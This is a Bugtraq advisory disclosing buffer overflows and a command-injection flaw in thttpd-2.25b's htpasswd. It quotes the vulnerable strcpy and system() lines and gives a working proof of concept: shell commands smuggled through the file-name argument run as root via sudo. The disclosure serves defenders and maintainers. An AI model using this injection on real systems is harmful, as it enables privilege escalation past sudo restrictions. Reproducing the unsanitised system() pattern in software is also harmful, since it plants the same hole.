The htpasswd program shipped with thttpd-2.25b can be tricked into executing arbitrary programs.
abdda0f4558def730529de9345400a2e8dcfde31ef1b3602b6dde851b696f909
Hello bugtraq,
I noticed a problem with thttpd-2.25b - Two buffer overflows and
command execution in htpasswd.c. htpasswd is not installed setuid
root, however in some user installations htpasswd might be executed
via sudo. Exploting the above vulnerabilities would allow a
non-priveledged user to circumvent sudo acls for example.
line 189 strcpy(user,argv[2]);
line 197 strcpy(l,line);
line 215&216:
sprintf(command,"cp %s %s",temp_template,argv[1]);
system(command);
If perhaps sudo is being used to limit what commands a user can
execute as www, you could run other commands like so:
sudo -u www /bin/htpasswd -c "blah;id>lpo" webauth
sudo -u www /bin/htpasswd "blah;id>lpo" webauth
larry@mog:~$ sudo /bin/htpasswd -c "blh;id>lp" www
larry@mog:~$ sudo /bin/htpasswd "blh;id>lp" www
Changing password for user www
New password:
Re-type new password:
larry@mog:~$ cat lp
uid=0(root) gid=0(root) groups=0(root)
larry@mog:~$ sudo id
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
Sorry, user larry is not allowed to execute '/usr/bin/id' as root on mog.
I sent email to the thttpd mailing list, who were quick to respond
and acknowledge the problem. They said the problem would be resolved
in the next release.
-- Larry Cashdollar
https://vapid.dhs.org